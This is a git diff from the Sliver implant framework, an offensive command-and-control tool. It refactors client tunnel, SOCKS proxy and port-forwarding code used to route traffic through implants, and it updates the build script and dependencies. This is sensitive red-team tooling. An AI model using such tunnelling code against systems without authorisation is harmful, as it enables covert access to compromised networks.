ActiveTarget: &ActiveTarget{
@@ -215,6 +215,7 @@ func (con *SliverConsoleClient) EventLoop() {
con.PrintEventErrorf("Lost session %s %s - %s (%s) - %s/%s - %v",
shortID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime)
activeSession := con.ActiveTarget.GetSession()
core.GetTunnels().CloseForSession(session.ID)
if activeSession != nil && activeSession.ID == session.ID {
con.ActiveTarget.Set(nil, nil)
con.PrintEventErrorf("Active session disconnected")
+35 -7
View File
@@ -1,7 +1,26 @@
package core
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"errors"
"io"
"log"
"net"
@@ -116,7 +135,7 @@ func (p *ChannelProxy) HandleConn(conn net.Conn) {
}
tunnel, err := p.dialImplant(ctx)
if cancel != nil {
cancel()
defer cancel()
}
if err != nil {
return
@@ -124,8 +143,8 @@ func (p *ChannelProxy) HandleConn(conn net.Conn) {
// Cleanup
defer func() {
go conn.Close()
Tunnels.Close(tunnel.ID)
conn.Close()
GetTunnels().Close(tunnel.ID)
}()
errs := make(chan error, 1)
@@ -172,7 +191,7 @@ func (p *ChannelProxy) Host() string {
return host
}
func (p *ChannelProxy) dialImplant(ctx context.Context) (*Tunnel, error) {
func (p *ChannelProxy) dialImplant(ctx context.Context) (*TunnelIO, error) {
log.Printf("[tcpproxy] Dialing implant to create tunnel ...")
@@ -184,8 +203,9 @@ func (p *ChannelProxy) dialImplant(ctx context.Context) (*Tunnel, error) {
log.Printf("[tcpproxy] Failed to dial implant %s", err)
return nil, err
}
log.Printf("[tcpproxy] Created new tunnel with id %d (session %s)", rpcTunnel.TunnelID, p.Session.ID)
tunnel := Tunnels.Start(rpcTunnel.TunnelID, rpcTunnel.SessionID)
tunnel := GetTunnels().Start(rpcTunnel.TunnelID, rpcTunnel.SessionID)
log.Printf("[tcpproxy] Binding tunnel to portfwd %d", p.Port())
portfwdResp, err := p.Rpc.Portfwd(ctx, &sliverpb.PortfwdReq{
@@ -200,6 +220,14 @@ func (p *ChannelProxy) dialImplant(ctx context.Context) (*Tunnel, error) {
if err != nil {
return nil, err
}
// Close tunnel in case of error on the implant side
if portfwdResp.Response != nil && portfwdResp.Response.Err != "" {
p.Rpc.CloseTunnel(ctx, &sliverpb.Tunnel{
TunnelID: tunnel.ID,
SessionID: p.Session.ID,
})
return nil, errors.New(portfwdResp.Response.Err)
}
log.Printf("Portfwd response: %v", portfwdResp)
return tunnel, nil
@@ -219,7 +247,7 @@ func (p *ChannelProxy) dialTimeout() time.Duration {
return 30 * time.Second
}
func toImplantLoop(conn net.Conn, tunnel *Tunnel, errs chan<- error) {
func toImplantLoop(conn net.Conn, tunnel *TunnelIO, errs chan<- error) {
if wc, ok := conn.(*tcpproxy.Conn); ok && len(wc.Peeked) > 0 {
if _, err := tunnel.Write(wc.Peeked); err != nil {
errs <- err
@@ -232,7 +260,7 @@ func toImplantLoop(conn net.Conn, tunnel *Tunnel, errs chan<- error) {
errs <- err
}
func fromImplantLoop(conn net.Conn, tunnel *Tunnel, errs chan<- error) {
func fromImplantLoop(conn net.Conn, tunnel *TunnelIO, errs chan<- error) {
n, err := io.Copy(conn, tunnel)
log.Printf("[tcpproxy] Closing from-implant after %d byte(s)", n)
errs <- err
+70 -34
View File
@@ -20,11 +20,10 @@ package core
import (
"context"
"fmt"
"io"
"log"
"net"
"sync"
"sync/atomic"
"time"
"github.com/bishopfox/sliver/protobuf/clientpb"
@@ -37,16 +36,16 @@ import (
var (
// SocksProxies - Struct instance that holds all the portfwds
SocksProxies = socksProxy{
tcpProxies: map[int]*SocksProxy{},
tcpProxies: map[uint64]*SocksProxy{},
mutex: &sync.RWMutex{},
}
SocksConnPool = sync.Map{}
SocksProxyID = 0
SocksProxyID = (uint64)(0)
)
// PortfwdMeta - Metadata about a portfwd listener
type SocksProxyMeta struct {
ID int
ID uint64
SessionID string
BindAddr string
Username string
@@ -60,14 +59,28 @@ type TcpProxy struct {
Password string
BindAddr string
Listener net.Listener
stopChan bool
KeepAlivePeriod time.Duration
DialTimeout time.Duration
}
func (tcp *TcpProxy) Stop() error {
err := tcp.Listener.Close()
// Closing all connections in pool
SocksConnPool.Range(func(key, value interface{}) bool {
con := value.(net.Conn)
con.Close()
return err == nil
})
return err
}
// SocksProxy - Tracks portfwd<->tcpproxy
type SocksProxy struct {
ID int
ID uint64
ChannelProxy *TcpProxy
}
@@ -83,7 +96,7 @@ func (p *SocksProxy) GetMetadata() *SocksProxyMeta {
}
type socksProxy struct {
tcpProxies map[int]*SocksProxy
tcpProxies map[uint64]*SocksProxy
mutex *sync.RWMutex
}
@@ -91,6 +104,7 @@ type socksProxy struct {
func (f *socksProxy) Add(tcpProxy *TcpProxy) *SocksProxy {
f.mutex.Lock()
defer f.mutex.Unlock()
Sockser := &SocksProxy{
ID: nextSocksProxyID(),
ChannelProxy: tcpProxy,
@@ -101,49 +115,56 @@ func (f *socksProxy) Add(tcpProxy *TcpProxy) *SocksProxy {
}
func (f *socksProxy) Start(tcpProxy *TcpProxy) error {
proxy, err := tcpProxy.Rpc.SocksProxy(context.Background())
ctx, cancel := context.WithCancel(context.Background())
proxy, err := tcpProxy.Rpc.SocksProxy(ctx)
defer cancel()
if err != nil {
return err
}
go func() {
for !tcpProxy.stopChan {
for {
FromImplantSequence := 0
p, err := proxy.Recv()
socksData, err := proxy.Recv()
if err != nil {
log.Printf("Failed to Recv from proxy, %s\n", err)
return
}
if v, ok := SocksConnPool.Load(p.TunnelID); ok {
n := v.(net.Conn)
if p.CloseConn {
n.Close()
SocksConnPool.Delete(p.TunnelID)
if v, ok := SocksConnPool.Load(socksData.TunnelID); ok {
conn := v.(net.Conn)
if socksData.CloseConn {
conn.Close()
SocksConnPool.Delete(socksData.TunnelID)
continue
}
log.Printf("[socks] agent to Server To (Client to User) Data Sequence %d , Data Size %d \n", FromImplantSequence, len(p.Data))
log.Printf("[socks] agent to Server To (Client to User) Data Sequence %d , Data Size %d \n", FromImplantSequence, len(socksData.Data))
//fmt.Printf("recv data len %d \n", len(p.Data))
_, err := n.Write(p.Data)
_, err := conn.Write(socksData.Data)
if err != nil {
log.Printf("Failed to write data to proxy connection, %s\n", err)
continue
}
FromImplantSequence++
}
}
}()
for !tcpProxy.stopChan {
l, err := tcpProxy.Listener.Accept()
for {
connection, err := tcpProxy.Listener.Accept()
if err != nil {
return err
log.Printf("Failed to accept new listener, probably already closed: %s\n", err)
break
}
rpcSocks, err := tcpProxy.Rpc.CreateSocks(context.Background(), &sliverpb.Socks{
SessionID: tcpProxy.Session.ID,
})
if err != nil {
fmt.Println(err)
return err
log.Printf("Failed rcp call to create socks %s\n", err)
break
}
go connect(l, proxy, &sliverpb.SocksData{
go connect(connection, proxy, &sliverpb.SocksData{
Username: tcpProxy.Username,
Password: tcpProxy.Password,
TunnelID: rpcSocks.TunnelID,
@@ -151,17 +172,18 @@ func (f *socksProxy) Start(tcpProxy *TcpProxy) error {
})
}
log.Printf("Socks Stop -> %s\n", tcpProxy.BindAddr)
tcpProxy.Listener.Close()
tcpProxy.Stop() // well, at this moment we already in stop state, but anyway
proxy.CloseSend()
return nil
}
// Remove - Remove a TCP proxy instance
func (f *socksProxy) Remove(socksId int) bool {
func (f *socksProxy) Remove(socksId uint64) bool {
f.mutex.Lock()
defer f.mutex.Unlock()
if _, ok := f.tcpProxies[socksId]; ok {
f.tcpProxies[socksId].ChannelProxy.stopChan = true
f.tcpProxies[socksId].ChannelProxy.Stop()
delete(f.tcpProxies, socksId)
return true
}
@@ -179,9 +201,8 @@ func (f *socksProxy) List() []*SocksProxyMeta {
return socksProxy
}
func nextSocksProxyID() int {
SocksProxyID++
return SocksProxyID
func nextSocksProxyID() uint64 {
return atomic.AddUint64(&SocksProxyID, 1)
}
const leakyBufSize = 4108 // data.len(2) + hmacsha1(10) + data(4096)
@@ -192,6 +213,19 @@ func connect(conn net.Conn, stream rpcpb.SliverRPC_SocksProxyClient, frame *sliv
SocksConnPool.Store(frame.TunnelID, conn)
defer func() {
// It's neccessary to close and remove connection once we done with it
c, ok := SocksConnPool.LoadAndDelete(frame.TunnelID)
if !ok {
return
}
conn := c.(net.Conn)
conn.Close()
log.Printf("[socks] connection closed")
}()
log.Printf("tcp conn %q<--><-->%q \n", conn.LocalAddr(), conn.RemoteAddr())
buff := leakyBuf.Get()
@@ -199,11 +233,12 @@ func connect(conn net.Conn, stream rpcpb.SliverRPC_SocksProxyClient, frame *sliv
var ToImplantSequence uint64 = 0
for {
n, err := conn.Read(buff)
if err != nil {
if err == io.EOF {
return
}
continue
log.Printf("[socks] (User to Client) failed to read data, %s ", err)
// Error basically means that the connection is closed(EOF) OR deadline exceeded
// In any of that cases, it's better to just giveup
return
}
if n > 0 {
frame.Data = buff[:n]
@@ -211,6 +246,7 @@ func connect(conn net.Conn, stream rpcpb.SliverRPC_SocksProxyClient, frame *sliv
log.Printf("[socks] (User to Client) to Server to agent Data Sequence %d , Data Size %d \n", ToImplantSequence, len(frame.Data))
err := stream.Send(frame)
if err != nil {
log.Printf("[socks] (User to Client) failed to send data, %s ", err)
return
}
ToImplantSequence++
+44 -112
View File
@@ -1,130 +1,54 @@
package core
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"context"
"io"
"log"
"sync"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
var (
// Tunnels - Holds refs to all tunnels
Tunnels tunnels
)
// Holds the tunnels locally so we can map incoming data
// messages to the tunnel
type tunnels struct {
tunnels *map[uint64]*Tunnel
mutex *sync.RWMutex
stream rpcpb.SliverRPC_TunnelDataClient
}
// Get - Get a tunnel
func (t *tunnels) Get(tunnelID uint64) *Tunnel {
t.mutex.RLock()
defer t.mutex.RUnlock()
return (*t.tunnels)[tunnelID]
}
// Start - Add a tunnel to the core mapper
func (t *tunnels) Start(tunnelID uint64, sessionID string) *Tunnel {
t.mutex.Lock()
defer t.mutex.Unlock()
tunnel := &Tunnel{
ID: tunnelID,
SessionID: sessionID,
Send: make(chan []byte),
Recv: make(chan []byte),
}
(*t.tunnels)[tunnelID] = tunnel
go func() {
tunnel.IsOpen = true
for data := range tunnel.Send {
log.Printf("Send %d bytes on tunnel %d", len(data), tunnel.ID)
t.stream.Send(&sliverpb.TunnelData{
TunnelID: tunnel.ID,
SessionID: tunnel.SessionID,
Data: data,
})
}
}()
tunnel.Send <- make([]byte, 0) // Send "zero" message to bind client to tunnel
return tunnel
}
// Close - Close the tunnel channels
func (t *tunnels) Close(tunnelID uint64) {
log.Printf("Closing tunnel %d", tunnelID)
t.mutex.Lock()
defer t.mutex.Unlock()
tunnel := (*t.tunnels)[tunnelID]
if tunnel != nil {
delete((*t.tunnels), tunnelID)
tunnel.IsOpen = false
close(tunnel.Recv)
close(tunnel.Send)
}
}
// Tunnel - Duplex data tunnel
type Tunnel struct {
ID uint64
IsOpen bool
SessionID string
Send chan []byte
Recv chan []byte
}
// Write - Writer method for interface
func (tun *Tunnel) Write(data []byte) (int, error) {
log.Printf("Write %d bytes", len(data))
if !tun.IsOpen {
return 0, io.EOF
}
tun.Send <- data
n := len(data)
return n, nil
}
// Read - Reader method for interface
func (tun *Tunnel) Read(data []byte) (int, error) {
var buff bytes.Buffer
if !tun.IsOpen {
log.Printf("Warning: Read on closed tunnel %d", tun.ID)
return 0, io.EOF
}
recvData := <-tun.Recv
log.Printf("Read %d bytes", len(recvData))
buff.Write(recvData)
n := copy(data, buff.Bytes())
return n, nil
}
// TunnelLoop - Parses incoming tunnel messages and distributes them
// to session/tunnel objects
// Expected to be called only once during initialization
func TunnelLoop(rpc rpcpb.SliverRPCClient) error {
log.Println("Starting tunnel data loop ...")
defer log.Printf("Warning: TunnelLoop exited")
stream, err := rpc.TunnelData(context.Background())
ctx, cancel := context.WithCancel(context.Background())
stream, err := rpc.TunnelData(ctx)
defer cancel()
if err != nil {
return err
}
Tunnels = tunnels{
tunnels: &map[uint64]*Tunnel{},
mutex: &sync.RWMutex{},
stream: stream,
}
for {
// log.Printf("Waiting for TunnelData ...")
GetTunnels().SetStream(stream)
for {
log.Printf("Waiting for TunnelData ...")
incoming, err := stream.Recv()
// log.Printf("Recv stream msg: %v", incoming)
log.Printf("Recv stream msg: %v", incoming)
log.Printf("Recv stream err: %s", err)
if err == io.EOF {
log.Printf("EOF Error: Tunnel data stream closed")
return nil
@@ -133,16 +57,24 @@ func TunnelLoop(rpc rpcpb.SliverRPCClient) error {
log.Printf("Tunnel data read error: %s", err)
return err
}
// log.Printf("Received TunnelData for tunnel %d", incoming.TunnelID)
tunnel := Tunnels.Get(incoming.TunnelID)
log.Printf("Received TunnelData for tunnel %d", incoming.TunnelID)
tunnel := GetTunnels().Get(incoming.TunnelID)
if tunnel != nil {
data := incoming.GetData()
log.Printf("This is data on tunnel %d: %s", tunnel.ID, data)
if !incoming.Closed {
log.Printf("Received data on tunnel %d", tunnel.ID)
tunnel.Recv <- incoming.GetData()
err = tunnel.RecvData(data)
if err != nil {
log.Printf("Warning! Error sending data to tunnel %d, %v", tunnel.ID, err)
}
} else {
log.Printf("Closing tunnel %d", tunnel.ID)
tunnel.IsOpen = false
close(tunnel.Recv)
GetTunnels().Close(tunnel.ID)
}
} else {
log.Printf("Received tunnel data for non-existent tunnel id %d", incoming.TunnelID)
+146
View File
@@ -0,0 +1,146 @@
package core
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"errors"
"io"
"log"
"sync"
)
// TunnelIO - Duplex data tunnel, compatible with both io.ReadWriter
type TunnelIO struct {
ID uint64
SessionID string
Send chan []byte
Recv chan []byte
isOpen bool
mutex *sync.RWMutex
}
// NewTunnelIO - Single entry point for creating instance of new TunnelIO
func NewTunnelIO(tunnelID uint64, sessionID string) *TunnelIO {
log.Printf("New tunnel!: %d", tunnelID)
return &TunnelIO{
ID: tunnelID,
SessionID: sessionID,
Send: make(chan []byte),
Recv: make(chan []byte),
isOpen: false,
mutex: &sync.RWMutex{},
}
}
// Write - Writer method for interface
func (tun *TunnelIO) Write(data []byte) (int, error) {
if !tun.IsOpen() {
log.Printf("Warning: Write on closed tunnel %d", tun.ID)
return 0, io.EOF
}
// This is necessary to avoid any race conditions on thay byte array
dataCopy := make([]byte, len(data))
n := copy(dataCopy, data)
log.Printf("Write %d bytes", n)
log.Printf("This bytes is: %s", dataCopy)
tun.Send <- dataCopy
return n, nil
}
// Read - Reader method for interface
func (tun *TunnelIO) Read(data []byte) (int, error) {
recvData, ok := <-tun.Recv
if !ok {
log.Printf("Warning: Read on closed tunnel %d", tun.ID)
return 0, io.EOF
}
var buff bytes.Buffer
log.Printf("Read %d bytes", len(recvData))
buff.Write(recvData)
n := copy(data, buff.Bytes())
return n, nil
}
// Close - Close tunnel IO operations
func (tun *TunnelIO) Close() error {
tun.mutex.Lock()
defer tun.mutex.Unlock()
if !tun.isOpen {
log.Printf("Warning: Close on closed tunnel %d", tun.ID)
// I guess we can ignore it and don't return any error
return nil
}
log.Printf("Close tunnel %d", tun.ID)
tun.isOpen = false
close(tun.Recv)
close(tun.Send)
return nil
}
func (tun *TunnelIO) IsOpen() bool {
tun.mutex.RLock()
defer tun.mutex.RUnlock()
return tun.isOpen
}
func (tun *TunnelIO) Open() error {
tun.mutex.Lock()
defer tun.mutex.Unlock()
if tun.isOpen {
return errors.New("tunnel relady in open state")
}
log.Printf("Open tunnel %d", tun.ID)
tun.isOpen = true
return nil
}
// RecvData - safe way to send data to internal Recv channel. Blocking.
func (tun *TunnelIO) RecvData(data []byte) error {
tun.mutex.Lock()
defer tun.mutex.Unlock()
if !tun.isOpen {
return errors.New("closed tunnel")
}
tun.Recv <- data
return nil
}
+162
View File
@@ -0,0 +1,162 @@
package core
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"errors"
"log"
"sync"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
var (
// tunnelsStorage - Holds refs to all tunnels
tunnelsStorage *tunnels
tunnelsSingletonLock = &sync.Mutex{}
)
// GetTunnels - singleton function that returns or initializes all tunnels
func GetTunnels() *tunnels {
tunnelsSingletonLock.Lock()
defer tunnelsSingletonLock.Unlock()
if tunnelsStorage == nil {
log.Println("Creating single instance of tunnels.")
tunnelsStorage = &tunnels{
tunnels: &map[uint64]*TunnelIO{},
mutex: &sync.RWMutex{},
streamMutex: &sync.Mutex{},
}
}
return tunnelsStorage
}
// Holds the tunnels locally so we can map incoming data
// messages to the tunnel
type tunnels struct {
tunnels *map[uint64]*TunnelIO
mutex *sync.RWMutex
streamMutex *sync.Mutex
stream rpcpb.SliverRPC_TunnelDataClient
}
func (t *tunnels) SetStream(stream rpcpb.SliverRPC_TunnelDataClient) {
t.streamMutex.Lock()
defer t.streamMutex.Unlock()
log.Printf("Set stream")
t.stream = stream
}
// Get - Get a tunnel
func (t *tunnels) Get(tunnelID uint64) *TunnelIO {
t.mutex.RLock()
defer t.mutex.RUnlock()
log.Printf("Get tunnel %d", tunnelID)
return (*t.tunnels)[tunnelID]
}
// send - safe way to send a message to the stream
// protobuf stream allow only one writer at a time, so just in case there is a mutex for it
func (t *tunnels) send(tunnelData *sliverpb.TunnelData) error {
t.streamMutex.Lock()
defer t.streamMutex.Unlock()
if t.stream == nil {
return errors.New("uninitizlied stream")
}
log.Printf("Private send to stream, tunnelId: %d", tunnelData.TunnelID)
return t.stream.Send(tunnelData)
}
// Start - Add a tunnel to the core mapper
func (t *tunnels) Start(tunnelID uint64, sessionID string) *TunnelIO {
t.mutex.Lock()
defer t.mutex.Unlock()
tunnel := NewTunnelIO(tunnelID, sessionID)
(*t.tunnels)[tunnelID] = tunnel
go func(tunnel *TunnelIO) {
tunnel.Open()
log.Printf("Tunnel now is open, %d", tunnelID)
for data := range tunnel.Send {
log.Printf("Send %d bytes on tunnel %d", len(data), tunnel.ID)
err := t.send(&sliverpb.TunnelData{
TunnelID: tunnel.ID,
SessionID: tunnel.SessionID,
Data: data,
})
if err != nil {
log.Printf("Error sending, %s", err)
}
}
log.Printf("Tunnel Send channel looks closed now. %d", tunnelID)
}(tunnel)
tunnel.Send <- make([]byte, 0) // Send "zero" message to bind client to tunnel
return tunnel
}
// Close - Close the tunnel channels
func (t *tunnels) Close(tunnelID uint64) {
t.mutex.Lock()
defer t.mutex.Unlock()
log.Printf("Closing tunnel %d", tunnelID)
tunnel := (*t.tunnels)[tunnelID]
if tunnel != nil {
tunnel.Close()
delete((*t.tunnels), tunnelID)
}
}
// CloseForSession - closing all tunnels for specified session id
func (t *tunnels) CloseForSession(sessionID string) {
t.mutex.RLock()
defer t.mutex.RUnlock()
log.Printf("Closing all tunnels for session %s", sessionID)
for tunnelID, tunnel := range *t.tunnels {
if tunnel.SessionID == sessionID {
// Weird way to avoid deadlocks but let it be
go func(tunnelID uint64) {
GetTunnels().Close(tunnelID)
}(tunnelID)
}
}
}
+3 -3
View File
@@ -74,7 +74,7 @@ func (a *OperatorImplantBridge) register() {
if err != nil {
return
}
encrypted := util.Encrypt(data, []byte(a.Config.AESKey), nil)
encrypted := util.PreludeEncrypt(data, []byte(a.Config.AESKey), nil)
dataBuff := append([]byte(fmt.Sprintf("%x", encrypted)), "\n"...)
(*a.Conn).Write(dataBuff)
}
@@ -84,7 +84,7 @@ func (a *OperatorImplantBridge) ReceiveLoop() {
go func() {
for {
data := <-a.send
encrypted := util.Encrypt(data, []byte(a.Config.AESKey), nil)
encrypted := util.PreludeEncrypt(data, []byte(a.Config.AESKey), nil)
dataBuff := append([]byte(fmt.Sprintf("%x", encrypted)), "\n"...)
(*a.Conn).Write(dataBuff)
time.Sleep(time.Duration(a.PBeacon.Sleep))
@@ -105,7 +105,7 @@ func (a *OperatorImplantBridge) handleMessage(message string) {
if err != nil {
return
}
if err := json.Unmarshal(util.Decrypt(decoded, []byte(a.Config.AESKey)), &tempBeacon); err == nil {
if err := json.Unmarshal(util.PreludeDecrypt(decoded, []byte(a.Config.AESKey)), &tempBeacon); err == nil {
a.PBeacon.Links = a.PBeacon.Links[:0]
a.runLinks(&tempBeacon)
}
+1 -1
View File
@@ -232,7 +232,7 @@ GEM
jekyll-seo-tag (~> 2.1)
minitest (5.15.0)
multipart-post (2.1.1)
nokogiri (1.13.4)
nokogiri (1.13.6)
mini_portile2 (~> 2.8.0)
racc (~> 1.4)
octokit (4.22.0)
+22 -6
View File
@@ -20,7 +20,7 @@ set -e
# Creates the static go asset archives
GO_VER="1.18"
GO_VER="1.18.4"
GARBLE_VER="1.18.0"
GO_ARCH_1="amd64"
@@ -102,9 +102,9 @@ cp -vv darwin-go.zip $OUTPUT_DIR/darwin/$GO_ARCH_2/go.zip
rm -rf ./go
rm -f darwin-go.zip go$GO_VER.darwin-$GO_ARCH_2.tar.gz
# --- Linux ---
curl --output go$GO_VER.linux-amd64.tar.gz https://dl.google.com/go/go$GO_VER.linux-$GO_ARCH_1.tar.gz
tar xvf go$GO_VER.linux-amd64.tar.gz
# --- Linux (amd64) ---
curl --output go$GO_VER.linux-$GO_ARCH_1.tar.gz https://dl.google.com/go/go$GO_VER.linux-$GO_ARCH_1.tar.gz
tar xvf go$GO_VER.linux-$GO_ARCH_1.tar.gz
cd go
rm -rf $BLOAT_FILES
rm -rf ./src
@@ -118,6 +118,22 @@ cp -vv linux-go.zip $OUTPUT_DIR/linux/$GO_ARCH_1/go.zip
rm -rf ./go
rm -f linux-go.zip go$GO_VER.linux-$GO_ARCH_1.tar.gz
# --- Linux (arm64) ---
curl --output go$GO_VER.linux-$GO_ARCH_2.tar.gz https://dl.google.com/go/go$GO_VER.linux-$GO_ARCH_2.tar.gz
tar xvf go$GO_VER.linux-$GO_ARCH_2.tar.gz
cd go
rm -rf $BLOAT_FILES
rm -rf ./src
rm -f ./pkg/tool/linux_$GO_ARCH_2/doc
rm -f ./pkg/tool/linux_$GO_ARCH_2/tour
rm -f ./pkg/tool/linux_$GO_ARCH_2/test2json
cd ..
zip -r linux-go.zip ./go
mkdir -p $OUTPUT_DIR/linux/$GO_ARCH_2
cp -vv linux-go.zip $OUTPUT_DIR/linux/$GO_ARCH_2/go.zip
rm -rf ./go
rm -f linux-go.zip go$GO_VER.linux-$GO_ARCH_2.tar.gz
# --- Windows ---
curl --output go$GO_VER.windows-amd64.zip https://dl.google.com/go/go$GO_VER.windows-$GO_ARCH_1.zip
unzip go$GO_VER.windows-amd64.zip
@@ -140,8 +156,8 @@ echo "-----------------------------------------------------------------"
echo "curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux"
curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux
file $OUTPUT_DIR/linux/$GO_ARCH_1/garble
echo "curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux"
curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux
echo "curl -L --fail --output $OUTPUT_DIR/windows/$GO_ARCH_1/garble.exe https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_windows.exe"
curl -L --fail --output $OUTPUT_DIR/windows/$GO_ARCH_1/garble.exe https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_windows.exe
echo "curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_1"
+18 -21
View File
@@ -2,7 +2,7 @@ module github.com/bishopfox/sliver
go 1.17
replace github.com/desertbit/grumble v1.1.1 => github.com/moloch--/grumble v1.1.4
replace github.com/desertbit/grumble v1.1.1 => github.com/moloch--/grumble v1.1.6
require (
github.com/AlecAivazis/survey/v2 v2.2.2
@@ -10,63 +10,51 @@ require (
github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf
github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
github.com/BurntSushi/xgb v0.0.0-20201008132610-5f9e7b3c49cd // indirect
github.com/Microsoft/go-winio v0.5.1 // indirect
github.com/alecthomas/chroma v0.8.1
github.com/cheggaaa/pb/v3 v3.0.5
github.com/desertbit/columnize v2.1.0+incompatible
github.com/desertbit/go-shlex v0.1.1
github.com/desertbit/grumble v1.1.1
github.com/fatih/color v1.12.0
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
github.com/gofrs/uuid v3.3.0+incompatible
github.com/golang/protobuf v1.5.2 // indirect
github.com/google/uuid v1.3.0
github.com/gorilla/mux v1.8.0
github.com/grpc-ecosystem/go-grpc-middleware v1.2.2
github.com/hashicorp/go-multierror v1.1.1 // indirect
github.com/jedib0t/go-pretty/v6 v6.2.4
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
github.com/lesnuages/go-winio v0.4.19
github.com/lesnuages/snitch v0.6.0
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
github.com/mattn/go-isatty v0.0.13 // indirect
github.com/mattn/go-sqlite3 v1.14.12
github.com/miekg/dns v1.1.35
github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e // indirect
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945
github.com/pquerna/otp v1.3.0
github.com/sergi/go-diff v1.1.0 // indirect
github.com/shirou/gopsutil/v3 v3.21.10
github.com/sirupsen/logrus v1.8.1
github.com/spf13/cobra v1.1.1
github.com/stretchr/testify v1.7.0
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
golang.org/x/crypto v0.0.0-20220315160706-3147a52a75dd
golang.org/x/net v0.0.0-20220225172249-27dd8689420f
golang.org/x/sys v0.0.0-20220315194320-039c03cc5b86
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211
golang.org/x/text v0.3.7
golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24
google.golang.org/genproto v0.0.0-20210722135532-667f2b7c528f // indirect
golang.zx2c4.com/wireguard/wgctrl v0.0.0-20220208144051-fde48d68ee68
google.golang.org/grpc v1.42.0-dev.0.20211020220737-f00baa6c3c84
google.golang.org/protobuf v1.27.1
gopkg.in/AlecAivazis/survey.v1 v1.8.8
gopkg.in/check.v1 v1.0.0-20200902074654-038fdea0a05b // indirect
gorm.io/driver/mysql v1.0.3
gorm.io/driver/postgres v1.0.5
gorm.io/driver/sqlite v1.1.3
gorm.io/gorm v1.21.14
)
require (
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945
github.com/shirou/gopsutil/v3 v3.21.10
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211
golang.zx2c4.com/wireguard/wgctrl v0.0.0-20220208144051-fde48d68ee68
gvisor.dev/gvisor v0.0.0-20211020211948-f76a604701b6
modernc.org/sqlite v1.16.0
)
require (
github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563 // indirect
github.com/BurntSushi/xgb v0.0.0-20201008132610-5f9e7b3c49cd // indirect
github.com/Microsoft/go-winio v0.5.1 // indirect
github.com/StackExchange/wmi v1.2.1 // indirect
github.com/VirusTotal/vt-go v0.0.0-20210528074736-45bbe34cc8ab // indirect
github.com/VividCortex/ewma v1.1.1 // indirect
@@ -79,10 +67,13 @@ require (
github.com/desertbit/closer/v3 v3.1.2 // indirect
github.com/desertbit/readline v1.5.1 // indirect
github.com/dlclark/regexp2 v1.2.0 // indirect
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
github.com/go-ole/go-ole v1.2.6 // indirect
github.com/go-sql-driver/mysql v1.5.0 // indirect
github.com/golang/protobuf v1.5.2 // indirect
github.com/google/btree v1.0.1 // indirect
github.com/hashicorp/errwrap v1.1.0 // indirect
